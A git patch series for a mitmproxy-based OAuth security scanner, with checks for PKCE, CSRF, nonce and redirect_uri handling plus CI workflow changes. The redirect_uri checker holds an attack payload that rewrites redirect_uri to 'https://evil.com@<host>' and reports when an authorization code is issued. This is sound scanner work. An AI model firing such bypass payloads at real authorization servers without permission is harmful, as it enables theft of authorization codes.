=?UTF-8?q?=ED=94=84=EB=9D=BC=EC=9D=B8=20=EC=84=A4=EC=A0=95=20=EC=B6=94?= =?UTF-8?q?=EA=B0=80=20=EB=B0=8F=20=EB=B3=B4=EC=95=88=20=EA=B2=80=EC=82=AC?= =?UTF-8?q?=20=EB=8B=A8=EA=B3=84=20=EA=B5=AC=ED=98=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/ci.yml | 44 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 .github/workflows/ci.yml diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..157300d --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,44 @@ +name: CI/CD Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main] + +jobs: + test: + runs-on: ubuntu-latest + strategy: + matrix: + python-version: [3.13] + + steps: + - uses: actions/checkout@v4 + + - name: Install uv + uses: astral-sh/setup-uv@v4 + with: + enable-cache: true + cache-dependency-glob: "uv.lock" + + - name: Set up Python ${{ matrix.python-version }} + run: uv python install ${{ matrix.python-version }} + + - name: Install dependencies + run: uv sync + + - name: Start application and run proxy test + run: | + # Start the application in background + uv run main.py & + APP_PID=$! + + # Wait for application to start + sleep 5 + + # Test proxy functionality + curl -x http://localhost:11080 http://example.com + + # Clean up + kill $APP_PID From 59b3d7d9d25a220a61732ab500904feee9b85333 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=EC=95=94=EB=83=A5=20=28imnyang=29?= Date: Mon, 9 Jun 2025 22:14:31 +0900 Subject: [PATCH 08/56] Update ci.yml --- .github/workflows/ci.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 157300d..4ef8184 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -2,7 +2,6 @@ name: CI/CD Pipeline on: push: - branches: [main, develop] pull_request: branches: [main] From aa8bf95a5c3f07d6d8947af2930aa4bb8fa2a3ca Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Mon, 9 Jun 2025 22:29:39 +0900 Subject: [PATCH 09/56] [Fix] NonceAddon --- addon/init.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/addon/init.py b/addon/init.py index c485248..f682683 100644 --- a/addon/init.py +++ b/addon/init.py @@ -57,7 +57,7 @@ class NonceAddon: async def response(self, flow: http.HTTPFlow): try: - await self.checker.response(flow) + await self.checker.check_nonce_in_id_token(flow) except Exception as e: print(f"[ERROR] NonceAddon failed: {e}") pass From 367a7156bf01be92611e4250e3d48d185da6561c Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Mon, 9 Jun 2025 22:34:34 +0900 Subject: [PATCH 10/56] =?UTF-8?q?=ED=85=8C=EC=8A=A4=ED=8A=B8=20=EC=A0=84?= =?UTF-8?q?=20=EA=B8=B0=EC=A1=B4=20=EC=BD=94=EB=93=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/init.py | 14 ++- addon/redirect_uri_check.py | 194 ++++++++++++++++++++++++++++++++++++ 2 files changed, 207 insertions(+), 1 deletion(-) create mode 100644 addon/redirect_uri_check.py diff --git a/addon/init.py b/addon/init.py index 1ef743d..14e4aab 100644 --- a/addon/init.py +++ b/addon/init.py @@ -4,6 +4,7 @@ from pkce_check import PKCEDowngradeChecker from ScopeDetection import ScopeDetection from csrf_check import CsrfChecker from nonce_check import NonceChecker +from redirect_uri_check import RedirectBypassChecker class PKCEAddon: def __init__(self): @@ -61,4 +62,15 @@ class NonceAddon: print(f"[ERROR] NonceAddon failed: {e}") pass -addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon()] +class RedirectBypassAddon: + def __init__(self): + self.checker = RedirectBypassChecker() + + # request 대신 response 로 바꿔 보세요: + async def response(self, flow: http.HTTPFlow): + try: + await self.checker.test(flow) + except Exception as e: + print(f"[ERROR] RedirectBypass Addon failed: {e}") + +addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon(), RedirectBypassAddon()] diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py new file mode 100644 index 0000000..7ecb1fb --- /dev/null +++ b/addon/redirect_uri_check.py @@ -0,0 +1,194 @@ +from mitmproxy import http +import aiohttp +from urllib.parse import urlparse, parse_qs, urlencode, urlunparse +import lib.target as target +from lib.report import save_report + +class BypassPayload: + """ 우회 패턴 정의 """ + def __init__(self, name: str, mutate_func, description: str): + self.name = name + self.mutate = mutate_func #우회 url 만드는 함수 + self.description = description + + +class RedirectBypassChecker: + def __init__(self): + """ 우회 페이로드 목록 """ + self.bypass_payloads = [ + BypassPayload( + name="\@", + mutate_func=self._mutate_pattern1, + description="브라우저는 \@를 사용자정보(@user)로 해석하지만, 일부 서버는 도메인 전체로 해석 → evil.com으로 우회" + ), + """ 테스트 후 우회 패턴 추가 예정 """ + ] + self.session = None + + """ 우회 URL 생성 목록 """ + # 1. \@ + def _mutate_pattern1(self, original: str) -> str: + parsed = urlparse(original) + mutated = f"https://evil.com@{parsed.netloc}{parsed.path}" + print(f"[redirect_uri_check] original: {original} → mutated: {mutated}") + return mutated + + '''aiohttp 세션 생성 (재사용)''' + async def _get_session(self): + if self.session is None: + timeout = aiohttp.ClientTimeout(total=10) + self.session = aiohttp.ClientSession(timeout=timeout) + return self.session + + '''세션 정리''' + async def close_session(self): + if self.session: + await self.session.close() + self.session = None + + """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ + async def _send_request(self, url, headers=None): + try: + session = await self._get_session() # 세션 준비 + request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 + + # 서버에 GET 요청 전송 + async with session.get(url, allow_redirects=False, headers=request_headers) as response: + return { + 'status': response.status, + 'location': response.headers.get("Location", ""), + 'headers': dict(response.headers) + } + except Exception as e: + print(f"[ERROR] 요청 실패 ({url}): {e}") + return {'status': 500, 'location': '', 'headers': {}} + + """ redirect_uri가 기준 도메인(baseUrl)에 속하는지 판단 """ + def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: + try: + redirect_parsed = urlparse(redirect_uri) + base_parsed = urlparse(base_url) + + redirect_host = redirect_parsed.hostname + base_host = base_parsed.hostname + + if not redirect_host or not base_host: + return False + + # 동일 도메인 또는 하위 도메인인지 확인 + return (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) + + except Exception as e: + print(f"[ERROR] 도메인 검증 실패: {e}") + return False + + """ Location 헤더에서 authorization code 추출 """ + def _extract_code_from_location(self, location: str) -> str: + if not location: + return "" + + try: + parsed = urlparse(location) + query = parse_qs(parsed.query) + return query.get('code', [''])[0] + except: + return "" + + """ 메인 테스트 함수 - mitmproxy flow 처리 """ + async def test(self, flow: http.HTTPFlow): + url = flow.request.pretty_url + parsed = urlparse(url) + query = parse_qs(parsed.query) + + if "redirect_uri" not in query: + return + + original_redirect_uri = query["redirect_uri"][0] + print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}") + + # 원본 요청 헤더 복사 (User-Agent 등) + original_headers = { + name: value for name, value in flow.request.headers.items() + if name.lower() not in ['host', 'content-length'] + } + + for payload in self.bypass_payloads: + try: + await self._test_bypass_pattern( + url, query, parsed, original_redirect_uri, payload, original_headers + ) + except Exception as e: + print(f"[ERROR] 우회 패턴 테스트 실패 ({payload.name}): {e}") + continue + + """ 개별 우회 패턴 테스트 """ + async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_uri, payload, headers): + + # 우회 URL 생성 + bypassed_uri = payload.mutate(original_redirect_uri) + print(f"[DEBUG] 테스트 중인 우회 패턴 ({payload.name}): {bypassed_uri}") + + # 새로운 쿼리 파라미터 구성 + modified_query = query.copy() + modified_query["redirect_uri"] = [bypassed_uri] + new_query_string = urlencode(modified_query, doseq=True) + test_url = urlunparse(parsed_url._replace(query=new_query_string)) + + print(f"[DEBUG] 테스트 URL: {test_url}") + + # 요청 전송 + response = await self._send_request(test_url, headers) + + # 응답 분석 + await self._analyze_response( + original_url, test_url, bypassed_uri, response, payload + ) + + """ 응답 분석 및 취약점 판단 """ + async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload): + status = response['status'] + location = response['location'] + + print(f"[DEBUG] 응답 상태: {status}, Location: {location}") + + # 리다이렉트 응답이 아니면 스킵 + if status not in [301, 302, 303, 307, 308]: + print(f"[DEBUG] 리다이렉트가 아닌 응답: {status}") + return + + # Location 헤더에서 code 추출 + auth_code = self._extract_code_from_location(location) + + if auth_code and not self._is_baseline_valid(bypassed_uri, original_url): + # 취약점 발견! + await self._report_vulnerability( + original_url, test_url, bypassed_uri, location, auth_code, payload + ) + elif auth_code: + print(f"[DEBUG] 인가 코드 발급되었지만 유효한 도메인: {bypassed_uri}") + else: + print(f"[DEBUG] 인가 코드 발급되지 않음") + + """ 취약점 보고서 생성 """ + async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload): + description = ( + f"Redirect URI 우회 취약점 발견!\n\n" + f"-- 상세 정보 --:\n" + f"• 우회 패턴: {payload.name}\n" + f"• 설명: {payload.description}\n" + f"• 원본 URL: {original_url}\n" + f"• 우회된 redirect_uri: {bypassed_uri}\n" + f"• 테스트 URL: {test_url}\n" + f"• 리다이렉트 위치: {location}\n" + f"• 발급된 인가 코드: {auth_code[:10]}...\n\n" + ) + + report_data = [{ + "target": target.load(), + "title": "Redirect URI Bypass Vulnerability", + "description": description + }] + + save_report(report_data) + print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!") + print(f"[INFO] 패턴: {payload.name}, 우회 URI: {bypassed_uri}") From 0be13ec5f2d4667b670845bb46c4b7bda13de24e Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Mon, 9 Jun 2025 22:35:58 +0900 Subject: [PATCH 11/56] [Add] TODO --- addon/init.py | 4 +++- addon/nonce_check.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/addon/init.py b/addon/init.py index f682683..3c86b8c 100644 --- a/addon/init.py +++ b/addon/init.py @@ -57,7 +57,9 @@ class NonceAddon: async def response(self, flow: http.HTTPFlow): try: - await self.checker.check_nonce_in_id_token(flow) + pass + # TODO id_token을 파싱하는 부분이 누락되어있습니다. + # await self.checker.check_nonce_in_id_token(flow) except Exception as e: print(f"[ERROR] NonceAddon failed: {e}") pass diff --git a/addon/nonce_check.py b/addon/nonce_check.py index bb1f379..c0af077 100644 --- a/addon/nonce_check.py +++ b/addon/nonce_check.py @@ -68,7 +68,7 @@ class NonceChecker: except Exception as e: return {} - + # TODO id_token을 파싱하는 부분이 누락되어있습니다. def check_nonce_in_id_token(self, flow, id_token: str) -> bool: decoded = self.decode_id_token(id_token) nonce = decoded.get("nonce") From 7ac749fa3660091d167fcfa92a245e039ac68595 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Tue, 10 Jun 2025 00:18:00 +0900 Subject: [PATCH 12/56] =?UTF-8?q?=EC=A7=80=EA=B8=88=20=EB=8B=B9=EC=9E=A5?= =?UTF-8?q?=20=ED=95=84=EC=9A=94=20=EC=97=86=EB=8A=94=20=EB=B6=80=EB=B6=84?= =?UTF-8?q?=20=EC=82=AD=EC=A0=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/redirect_uri_check.py | 8 +------- runner/proxy.py | 2 +- 2 files changed, 2 insertions(+), 8 deletions(-) diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py index 7ecb1fb..358904e 100644 --- a/addon/redirect_uri_check.py +++ b/addon/redirect_uri_check.py @@ -106,16 +106,10 @@ class RedirectBypassChecker: original_redirect_uri = query["redirect_uri"][0] print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}") - # 원본 요청 헤더 복사 (User-Agent 등) - original_headers = { - name: value for name, value in flow.request.headers.items() - if name.lower() not in ['host', 'content-length'] - } - for payload in self.bypass_payloads: try: await self._test_bypass_pattern( - url, query, parsed, original_redirect_uri, payload, original_headers + url, query, parsed, original_redirect_uri, payload, headers={} ) except Exception as e: print(f"[ERROR] 우회 패턴 테스트 실패 ({payload.name}): {e}") diff --git a/runner/proxy.py b/runner/proxy.py index 7cc2650..d7b856a 100644 --- a/runner/proxy.py +++ b/runner/proxy.py @@ -3,4 +3,4 @@ from mitmproxy.tools.main import mitmdump def run_proxy(): sys.argv = ["mitmdump", "-s", "./addon/init.py", "--listen-port", "11080"] - mitmdump() + mitmdump() \ No newline at end of file From 57625307a795a6420c9c7e86b1dc53986119d703 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Wed, 11 Jun 2025 15:11:50 +0900 Subject: [PATCH 13/56] =?UTF-8?q?=ED=85=8C=EC=8A=A4=ED=8A=B8=20=EC=99=84?= =?UTF-8?q?=EB=A3=8C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/redirect_uri_check.py | 74 ++++++++++++++++++++++--------------- 1 file changed, 44 insertions(+), 30 deletions(-) diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py index 358904e..176e537 100644 --- a/addon/redirect_uri_check.py +++ b/addon/redirect_uri_check.py @@ -17,16 +17,16 @@ class RedirectBypassChecker: """ 우회 페이로드 목록 """ self.bypass_payloads = [ BypassPayload( - name="\@", + name=r"@", mutate_func=self._mutate_pattern1, - description="브라우저는 \@를 사용자정보(@user)로 해석하지만, 일부 서버는 도메인 전체로 해석 → evil.com으로 우회" + description=r"@ 기호를 이용한 호스트 우회 공격: evil.com@target.com" ), - """ 테스트 후 우회 패턴 추가 예정 """ + ] self.session = None """ 우회 URL 생성 목록 """ - # 1. \@ + # 1. @ def _mutate_pattern1(self, original: str) -> str: parsed = urlparse(original) mutated = f"https://evil.com@{parsed.netloc}{parsed.path}" @@ -74,10 +74,24 @@ class RedirectBypassChecker: if not redirect_host or not base_host: return False + + if "@" in redirect_uri: + if redirect_host != base_host: + print(f"[ALERT] 우회 공격 탐지: {redirect_host} != {base_host}") + return False - # 동일 도메인 또는 하위 도메인인지 확인 - return (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) - + at_parts = redirect_uri.split('@') + if len(at_parts) > 1: + before_at = at_parts[0] + if '//' in before_at: + potential_domain = before_at.split('//')[-1] + if '.' in potential_domain and potential_domain != base_host: + print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}") + return False + + is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) + return is_valid + except Exception as e: print(f"[ERROR] 도메인 검증 실패: {e}") return False @@ -118,58 +132,56 @@ class RedirectBypassChecker: """ 개별 우회 패턴 테스트 """ async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_uri, payload, headers): + print(f"[SCAN] 우회 패턴 테스트: {payload.name}") + # 우회 URL 생성 bypassed_uri = payload.mutate(original_redirect_uri) - print(f"[DEBUG] 테스트 중인 우회 패턴 ({payload.name}): {bypassed_uri}") - + # 새로운 쿼리 파라미터 구성 modified_query = query.copy() modified_query["redirect_uri"] = [bypassed_uri] new_query_string = urlencode(modified_query, doseq=True) test_url = urlunparse(parsed_url._replace(query=new_query_string)) - - print(f"[DEBUG] 테스트 URL: {test_url}") # 요청 전송 response = await self._send_request(test_url, headers) - + # 응답 분석 - await self._analyze_response( - original_url, test_url, bypassed_uri, response, payload - ) + await self._analyze_response(original_url, test_url, bypassed_uri, response, payload) """ 응답 분석 및 취약점 판단 """ async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload): status = response['status'] location = response['location'] - print(f"[DEBUG] 응답 상태: {status}, Location: {location}") - # 리다이렉트 응답이 아니면 스킵 if status not in [301, 302, 303, 307, 308]: - print(f"[DEBUG] 리다이렉트가 아닌 응답: {status}") return # Location 헤더에서 code 추출 auth_code = self._extract_code_from_location(location) if auth_code and not self._is_baseline_valid(bypassed_uri, original_url): - # 취약점 발견! - await self._report_vulnerability( - original_url, test_url, bypassed_uri, location, auth_code, payload - ) - elif auth_code: - print(f"[DEBUG] 인가 코드 발급되었지만 유효한 도메인: {bypassed_uri}") - else: - print(f"[DEBUG] 인가 코드 발급되지 않음") + # 취약점 발견 시에만 로그 + print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!") + await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload) + """ 취약점 보고서 생성 """ async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload): + # payload가 문자열인지 객체인지 확인 + if hasattr(payload, 'name'): + pattern_name = payload.name + pattern_description = payload.description + else: + pattern_name = str(payload) + pattern_description = "Unknown bypass pattern" + description = ( f"Redirect URI 우회 취약점 발견!\n\n" f"-- 상세 정보 --:\n" - f"• 우회 패턴: {payload.name}\n" - f"• 설명: {payload.description}\n" + f"• 우회 패턴: {pattern_name}\n" + f"• 설명: {pattern_description}\n" f"• 원본 URL: {original_url}\n" f"• 우회된 redirect_uri: {bypassed_uri}\n" f"• 테스트 URL: {test_url}\n" @@ -179,10 +191,12 @@ class RedirectBypassChecker: report_data = [{ "target": target.load(), + "status": "CRITICAL", "title": "Redirect URI Bypass Vulnerability", - "description": description + "description": description, + "uri": test_url # uri 필드 추가 }] save_report(report_data) print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!") - print(f"[INFO] 패턴: {payload.name}, 우회 URI: {bypassed_uri}") + print(f"[INFO] 패턴: {pattern_name}, 우회 URI: {bypassed_uri}") \ No newline at end of file From ba6064c3781672475f685ff0da6678435d19b97d Mon Sep 17 00:00:00 2001 From: imnyang Date: Wed, 11 Jun 2025 22:28:47 +0900 Subject: [PATCH 14/56] HotFix Running Backend --- main.py | 30 ++++++++++++++++-------------- runner/backend/__init__.py | 2 +- 2 files changed, 17 insertions(+), 15 deletions(-) diff --git a/main.py b/main.py index cd9f6bb..de4bca7 100644 --- a/main.py +++ b/main.py @@ -1,21 +1,23 @@ from runner.proxy import run_proxy -import subprocess import threading +import uvicorn +from runner.backend import app + +def run_fastapi_server(): + """FastAPI 서버를 실행하는 함수""" + uvicorn.run(app, host="localhost", port=11081, log_level="info") if __name__ == "__main__": - # Start web server in a separate thread - server_process = subprocess.Popen([ - "granian", - "--interface", "asgi", - "--host", "0.0.0.0", - "--port", "11081", - "--loop", "asyncio", - "--reload", - "runner.backend:app", - ]) - try: - # Run mitmdump proxy + # FastAPI 서버를 백그라운드 스레드에서 실행 + fastapi_thread = threading.Thread(target=run_fastapi_server, daemon=True) + fastapi_thread.start() + print("🚀 FastAPI server started on http://localhost:11081") + + # Run mitmdump proxy (메인 스레드에서 실행) + print("🛡️ Starting mitmdump proxy on port 11080...") run_proxy() + except KeyboardInterrupt: + print("🛑 Shutting down...") finally: - server_process.terminate() \ No newline at end of file + print("✅ Mitmdump proxy has been stopped.") \ No newline at end of file diff --git a/runner/backend/__init__.py b/runner/backend/__init__.py index 9af9555..4b60e63 100644 --- a/runner/backend/__init__.py +++ b/runner/backend/__init__.py @@ -20,4 +20,4 @@ async def not_found_handler(request, exc): @app.exception_handler(405) async def method_not_allowed_handler(request, exc): - return Response(status_code=405) \ No newline at end of file + return Response(status_code=405) From db514172dc6d2c0e318e0117ad328bb748670869 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=EC=95=94=EB=83=A5=20=28imnyang=29?= Date: Wed, 11 Jun 2025 22:31:16 +0900 Subject: [PATCH 15/56] Update ci.yml --- .github/workflows/ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4ef8184..fab57aa 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -13,10 +13,10 @@ jobs: python-version: [3.13] steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v6 - name: Install uv - uses: astral-sh/setup-uv@v4 + uses: astral-sh/setup-uv@v6 with: enable-cache: true cache-dependency-glob: "uv.lock" From 12d0ed73ffda2fd1de2f3ad3867faa23d316b2b3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=EC=95=94=EB=83=A5=20=28imnyang=29?= Date: Wed, 11 Jun 2025 22:32:07 +0900 Subject: [PATCH 16/56] Update ci.yml --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fab57aa..32a975c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -13,7 +13,7 @@ jobs: python-version: [3.13] steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v4 - name: Install uv uses: astral-sh/setup-uv@v6 From 05bbdc65c18190d44438e2609408e5afdc9171df Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 02:06:58 +0900 Subject: [PATCH 17/56] feat: add Google login hint functionality - Add environment configuration files (.env, .env.example) - Implement GoogleLoginHint addon module - Update addon initialization to include new module --- .env | 2 ++ .env.example | 2 ++ addon/GoogleLoginHint.py | 71 ++++++++++++++++++++++++++++++++++++++++ addon/init.py | 12 ++++++- 4 files changed, 86 insertions(+), 1 deletion(-) create mode 100644 .env create mode 100644 .env.example create mode 100644 addon/GoogleLoginHint.py diff --git a/.env b/.env new file mode 100644 index 0000000..cf32153 --- /dev/null +++ b/.env @@ -0,0 +1,2 @@ +# Google OAuth 설정 +GOOGLE_ID=bot.imnya.ng@gmail.com diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..cf32153 --- /dev/null +++ b/.env.example @@ -0,0 +1,2 @@ +# Google OAuth 설정 +GOOGLE_ID=bot.imnya.ng@gmail.com diff --git a/addon/GoogleLoginHint.py b/addon/GoogleLoginHint.py new file mode 100644 index 0000000..6d80669 --- /dev/null +++ b/addon/GoogleLoginHint.py @@ -0,0 +1,71 @@ +import lib.target as target +from lib.report import save_report +import os +from urllib.parse import urlparse, parse_qs, urlencode, urlunparse +from dotenv import load_dotenv + +# .env 파일 로드 +load_dotenv(override=True) + +class GoogleLoginHint: + def __init__(self): + self.google_id = os.getenv('GOOGLE_ID', '') + if not self.google_id: + print("⚠️ Warning: GOOGLE_ID not found in .env file") + + async def request(self, flow): + """Google OAuth 요청을 가로채서 login_hint를 추가하거나 수정""" + req = flow.request + method = req.method + url = req.pretty_url + + # Google OAuth 인증 URL인지 확인 + if self._is_google_oauth_url(url): + print(f"🔍 Google OAuth URL detected: {url}") + + # URL 파싱 + parsed_url = urlparse(url) + query_params = parse_qs(parsed_url.query) + + # login_hint 추가 또는 수정 + if self.google_id: + query_params['login_hint'] = [self.google_id] + print(f"✅ Added/Updated login_hint: {self.google_id}") + + # 새로운 쿼리 스트링 생성 + new_query = urlencode(query_params, doseq=True) + + # 새로운 URL 생성 + new_url = urlunparse(( + parsed_url.scheme, + parsed_url.netloc, + parsed_url.path, + parsed_url.params, + new_query, + parsed_url.fragment + )) + + # 요청 URL 수정 + flow.request.pretty_url = new_url + print(f"🔄 Modified URL: {new_url}") + + + def _is_google_oauth_url(self, url): + """Google OAuth URL인지 확인""" + google_oauth_domains = [ + 'accounts.google.com', + 'oauth2.googleapis.com' + ] + + parsed_url = urlparse(url) + domain = parsed_url.netloc.lower() + + # Google OAuth 도메인 확인 + for google_domain in google_oauth_domains: + if google_domain in domain: + # OAuth 관련 경로 확인 + path = parsed_url.path.lower() + if any(oauth_path in path for oauth_path in ['/oauth2', '/auth', '/login']): + return True + + return False \ No newline at end of file diff --git a/addon/init.py b/addon/init.py index 78e616a..afb3db8 100644 --- a/addon/init.py +++ b/addon/init.py @@ -6,6 +6,7 @@ from csrf_check import CsrfChecker from nonce_check import NonceChecker from redirect_uri_check import RedirectBypassChecker from access_token import AccessTokenScanner +from GoogleLoginHint import GoogleLoginHint class PKCEAddon: def __init__(self): @@ -87,4 +88,13 @@ class RedirectBypassAddon: except Exception as e: print(f"[ERROR] RedirectBypass Addon failed: {e}") -addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon(), AccessTokenAddon(), RedirectBypassAddon()] +class GoogleLoginHintAddon(): + def __init__(self) -> None: + self.checker = GoogleLoginHint() + def request(self, flow: http.HTTPFlow): + try: + asyncio.run(self.checker.request(flow)) + except Exception as e: + print(f"[ERROR] GoogleLoginHint Addon failed: {e}") + +addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon(), AccessTokenAddon(), RedirectBypassAddon(), GoogleLoginHintAddon()] From c311aaad71ef0030eb85a49a67ca504f10025e9f Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 12:36:43 +0900 Subject: [PATCH 18/56] fix: update proxy test URL to use GitHub OAuth endpoint with certificate --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 32a975c..d990669 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -37,7 +37,7 @@ jobs: sleep 5 # Test proxy functionality - curl -x http://localhost:11080 http://example.com + curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x http://localhost:11080 https://github.com/login/oauth/authorize?client_id=Ov23lixietSCQOHxPvcr&redirect_uri=http%3A%2F%2Flocalhost%3A8787&scope=read%3Auser+user%3Aemail&skip_account_picker=true --silent # Clean up kill $APP_PID From 40867acb26db3b2a90e0cac7afea4490ea2b21f1 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 12:53:07 +0900 Subject: [PATCH 19/56] =?UTF-8?q?feat:=20=ED=99=98=EA=B2=BD=20=EB=B3=80?= =?UTF-8?q?=EC=88=98=EB=A5=BC=20=EC=84=A4=EC=A0=95=ED=95=98=EA=B3=A0=20Goo?= =?UTF-8?q?gle=20=EB=A1=9C=EA=B7=B8=EC=9D=B8=20=ED=9E=8C=ED=8A=B8=20?= =?UTF-8?q?=EA=B8=B0=EB=8A=A5=EC=9D=84=20=EC=B6=94=EA=B0=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/ci.yml | 4 ++++ addon/init.py | 13 ++++++++++++- 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d990669..bf5d5a9 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -26,6 +26,10 @@ jobs: - name: Install dependencies run: uv sync + + - name: Set up environment variables + run: | + echo "GOOGLE_ID=bot.imnya.ng@gmail.com" > .env - name: Start application and run proxy test run: | diff --git a/addon/init.py b/addon/init.py index afb3db8..b022811 100644 --- a/addon/init.py +++ b/addon/init.py @@ -1,3 +1,4 @@ +from json import load from mitmproxy import http import asyncio from pkce_check import PKCEDowngradeChecker @@ -7,6 +8,10 @@ from nonce_check import NonceChecker from redirect_uri_check import RedirectBypassChecker from access_token import AccessTokenScanner from GoogleLoginHint import GoogleLoginHint +import os +from dotenv import load_dotenv + +load_dotenv(override=True) class PKCEAddon: def __init__(self): @@ -90,8 +95,14 @@ class RedirectBypassAddon: class GoogleLoginHintAddon(): def __init__(self) -> None: - self.checker = GoogleLoginHint() + if os.getenv('GOOGLE_ID'): + self.checker = GoogleLoginHint() + else: + self.checker = None + def request(self, flow: http.HTTPFlow): + if self.checker is None: + return try: asyncio.run(self.checker.request(flow)) except Exception as e: From 00e395830085a245c9a0b85fa5b09d2692c1c5d9 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:15:11 +0900 Subject: [PATCH 20/56] fix: remove unused import of json.load in init.py --- addon/init.py | 1 - 1 file changed, 1 deletion(-) diff --git a/addon/init.py b/addon/init.py index b022811..bf19b6d 100644 --- a/addon/init.py +++ b/addon/init.py @@ -1,4 +1,3 @@ -from json import load from mitmproxy import http import asyncio from pkce_check import PKCEDowngradeChecker From 3850b0de2f42d3a22f2c68289b0831f2045f768c Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:15:11 +0900 Subject: [PATCH 21/56] fix: change GoogleLoginHintAddon request method to async --- addon/init.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/addon/init.py b/addon/init.py index b022811..c54a7fc 100644 --- a/addon/init.py +++ b/addon/init.py @@ -1,4 +1,3 @@ -from json import load from mitmproxy import http import asyncio from pkce_check import PKCEDowngradeChecker @@ -100,11 +99,11 @@ class GoogleLoginHintAddon(): else: self.checker = None - def request(self, flow: http.HTTPFlow): + async def request(self, flow: http.HTTPFlow): if self.checker is None: return try: - asyncio.run(self.checker.request(flow)) + await self.checker.request(flow) except Exception as e: print(f"[ERROR] GoogleLoginHint Addon failed: {e}") From cf3bfee0392a6fea0a4e8f5dacb3dfaa1e808208 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:25:43 +0900 Subject: [PATCH 22/56] fix: update proxy test URL to use correct GitHub OAuth endpoint --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bf5d5a9..043673f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -41,7 +41,7 @@ jobs: sleep 5 # Test proxy functionality - curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x http://localhost:11080 https://github.com/login/oauth/authorize?client_id=Ov23lixietSCQOHxPvcr&redirect_uri=http%3A%2F%2Flocalhost%3A8787&scope=read%3Auser+user%3Aemail&skip_account_picker=true --silent + curl --cacert 